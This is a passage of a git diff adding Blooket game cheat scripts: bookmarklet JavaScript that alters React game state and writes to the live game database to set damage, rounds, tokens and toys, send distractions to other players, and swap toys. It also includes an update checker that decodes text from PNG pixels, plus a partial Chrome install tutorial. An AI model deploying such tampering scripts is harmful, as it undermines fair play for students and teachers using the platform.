GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tremoveObsticles.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.tiles=e.tiles.map(e=>e.fill(0))};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/removeObsticles.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/tower-defense/setDmg.js b/cheats/tower-defense/setDmg.js new file mode 100644 index 0000000..b98ebc5 --- /dev/null +++ b/cheats/tower-defense/setDmg.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.dmg = Number(parseInt(prompt("How much dmg would you like?"))); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/setDmg.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272532 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense/setDmg.min.js b/cheats/tower-defense/setDmg.min.js new file mode 100644 index 0000000..7e5ae80 --- /dev/null +++ b/cheats/tower-defense/setDmg.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetDmg.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.dmg=Number(parseInt(prompt("How much dmg would you like?")))};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/setDmg.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/tower-defense/setRound.js b/cheats/tower-defense/setRound.js new file mode 100644 index 0000000..397eed5 --- /dev/null +++ b/cheats/tower-defense/setRound.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ round: Number(parseInt(prompt("What round do you want to set to?"))) }) + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/setRound.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272541 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense/setRound.min.js b/cheats/tower-defense/setRound.min.js new file mode 100644 index 0000000..bd349db --- /dev/null +++ b/cheats/tower-defense/setRound.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetRound.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({round:Number(parseInt(prompt("What round do you want to set to?")))})};let d=new Image;d.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/setRound.png?"+Date.now(),d.crossOrigin="Anonymous",d.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(d,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(d.src=null,s())})(); \ No newline at end of file diff --git a/cheats/tower-defense/setTokens.js b/cheats/tower-defense/setTokens.js new file mode 100644 index 0000000..98465a6 --- /dev/null +++ b/cheats/tower-defense/setTokens.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ tokens: Number(parseInt(prompt("How many tokens would you like?"))) }) + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/setTokens.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272545 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense/setTokens.min.js b/cheats/tower-defense/setTokens.min.js new file mode 100644 index 0000000..80a54ee --- /dev/null +++ b/cheats/tower-defense/setTokens.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetTokens.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({tokens:Number(parseInt(prompt("How many tokens would you like?")))})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/setTokens.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/workshop/readme.md b/cheats/workshop/readme.md new file mode 100644 index 0000000..0d971d0 --- /dev/null +++ b/cheats/workshop/readme.md @@ -0,0 +1,16 @@ +# Santa's Workshop Cheats + +## [Remove Distractions](removeDistractions.js) +Removes all enemy distractions + +## [Send Distraction](sendDistraction.js) +Sends a distraction to everyone else playing + +## [Set Toys](setToys.js) +Sets amount of toys + +## [Set Toys Per Question](setToysPerQ.js) +Sets amount of toys per question + +## [Swap Toys](swapToys.js) +Swaps toys with someone \ No newline at end of file diff --git a/cheats/workshop/removeDistractions.js b/cheats/workshop/removeDistractions.js new file mode 100644 index 0000000..03b048c --- /dev/null +++ b/cheats/workshop/removeDistractions.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ fog: !1, dusk: !1, wind: !1, plow: !1, blizzard: !1, force: !1, canada: !1, trees: [!1, !1, !1, !1, !1, !1, !1, !1, !1, !1] }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/workshop/removeDistractions.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272593 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/workshop/removeDistractions.min.js b/cheats/workshop/removeDistractions.min.js new file mode 100644 index 0000000..17d6ebf --- /dev/null +++ b/cheats/workshop/removeDistractions.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tremoveDistractions.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({fog:!1,dusk:!1,wind:!1,plow:!1,blizzard:!1,force:!1,canada:!1,trees:[!1,!1,!1,!1,!1,!1,!1,!1,!1,!1]})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/workshop/removeDistractions.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/workshop/sendDistraction.js b/cheats/workshop/sendDistraction.js new file mode 100644 index 0000000..8cdcf4d --- /dev/null +++ b/cheats/workshop/sendDistraction.js @@ -0,0 +1,47 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let distractions = { c: "Oh Canada", b: "Blizzard", f: "Fog Spell", d: "Dark & Dusk", w: "Howling Wind", g: "Gift Time!", t: "TREES", s: "Snow Plow", fr: "Use The Force" }; + let val = Object.keys(distractions)[Math.floor(Math.random() * Object.keys(distractions).length)]; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val }); + alert(`Sent a ${distractions[val]} distraction`); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/workshop/sendDistraction.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272599 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/workshop/sendDistraction.min.js b/cheats/workshop/sendDistraction.min.js new file mode 100644 index 0000000..68054f2 --- /dev/null +++ b/cheats/workshop/sendDistraction.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsendDistraction.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"],t={c:"Oh Canada",b:"Blizzard",f:"Fog Spell",d:"Dark & Dusk",w:"Howling Wind",g:"Gift Time!",t:"TREES",s:"Snow Plow",fr:"Use The Force"},o=Object.keys(t)[Math.floor(Math.random()*Object.keys(t).length)];e.safe=!0,e.props.liveGameController.setVal({path:`c/${e.props.client.name}/tat`,val:o}),alert(`Sent a ${t[o]} distraction`)};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/workshop/sendDistraction.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(s.src=null,l())})(); \ No newline at end of file diff --git a/cheats/workshop/setToys.js b/cheats/workshop/setToys.js new file mode 100644 index 0000000..8defd15 --- /dev/null +++ b/cheats/workshop/setToys.js @@ -0,0 +1,51 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let toys = parseInt(prompt("How many toys would you like?")); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ toys }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + t: toys + } + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/workshop/setToys.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272607 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/workshop/setToys.min.js b/cheats/workshop/setToys.min.js new file mode 100644 index 0000000..bb7726a --- /dev/null +++ b/cheats/workshop/setToys.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetToys.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var o=document.createElement("iframe"),o=(document.body.append(o),window.prompt=o.contentWindow.prompt.bind(window),o.remove(),parseInt(prompt("How many toys would you like?"))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({toys:o}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,t:o}})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/workshop/setToys.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var o=document.createElement("canvas").getContext("2d");o.drawImage(l,0,0,this.width,this.height);let t=o.getImageData(0,0,this.width,this.height)["data"],e="",n;for(let o=0;o(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/workshop/setToysPerQ.js b/cheats/workshop/setToysPerQ.js new file mode 100644 index 0000000..cec3a41 --- /dev/null +++ b/cheats/workshop/setToysPerQ.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ toysPerQ: parseInt(prompt("How many toys per question would you like?")) }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/workshop/setToysPerQ.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272610 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/workshop/setToysPerQ.min.js b/cheats/workshop/setToysPerQ.min.js new file mode 100644 index 0000000..9e57b0b --- /dev/null +++ b/cheats/workshop/setToysPerQ.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetToysPerQ.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({toysPerQ:parseInt(prompt("How many toys per question would you like?"))})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/workshop/setToysPerQ.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/workshop/swapToys.js b/cheats/workshop/swapToys.js new file mode 100644 index 0000000..fba612d --- /dev/null +++ b/cheats/workshop/swapToys.js @@ -0,0 +1,47 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + stateNode.setState({ + choosingPlayer: false, + players: (players ? Object.entries(players).map(([name, { b, t }]) => ({ name, blook: b, toys: t || 0 })).filter((e) => e.name != stateNode.props.client.name).sort(({ toys }, { toys: toys2 }) => toys2 - toys) : []), + phaseTwo: true, + stage: "prize", + choiceObj: { type: "swap" } + }, () => setTimeout(() => stateNode.setState({ choosingPlayer: true }), 300)); + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/workshop/swapToys.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272613 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/workshop/swapToys.min.js b/cheats/workshop/swapToys.min.js new file mode 100644 index 0000000..66f8e1d --- /dev/null +++ b/cheats/workshop/swapToys.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tswapToys.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{let t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.props.liveGameController.getDatabaseVal("c",e=>{t.setState({choosingPlayer:!1,players:e?Object.entries(e).map(([e,{b:t,t:o}])=>({name:e,blook:t,toys:o||0})).filter(e=>e.name!=t.props.client.name).sort(({toys:e},{toys:t})=>t-e):[],phaseTwo:!0,stage:"prize",choiceObj:{type:"swap"}},()=>setTimeout(()=>t.setState({choosingPlayer:!0}),300))})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/workshop/swapToys.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",a;for(let e=0;e(l.src=null,c())})(); \ No newline at end of file diff --git a/tutorial/GoogleChrome.md b/tutorial/GoogleChrome.md new file mode 100644 index 0000000..69c5034 --- /dev/null +++ b/tutorial/GoogleChrome.md @@ -0,0 +1,20 @@ +# 1. Navigate to `obfuscated` folder +![Google Chrome part 1](/tutorial/chrome/part%20(1).png) +# 2. Open `Bookmarklets.html` file +![Google Chrome part 2](/tutorial/chrome/part%20(2).png) +# 3. Click `Download` or `View raw` +![Google Chrome part 3](/tutorial/chrome/part%20(3).png) +# 4. Ctrl + S or Right click > Save as +![Google Chrome part 4](/tutorial/chrome/part%20(4).png) +# 5. Save file +![Google Chrome part 5](/tutorial/chrome/part%20(5).png) +# 6. Click on the three dots in the top right > Bookmarks > Import bookmarks and settings **OR** do `Ctrl + Shift + O` > three dots in the top right > import +![Google Chrome part 6](/tutorial/chrome/part%20(6).png) +# 7. Switch to `Bookmarks 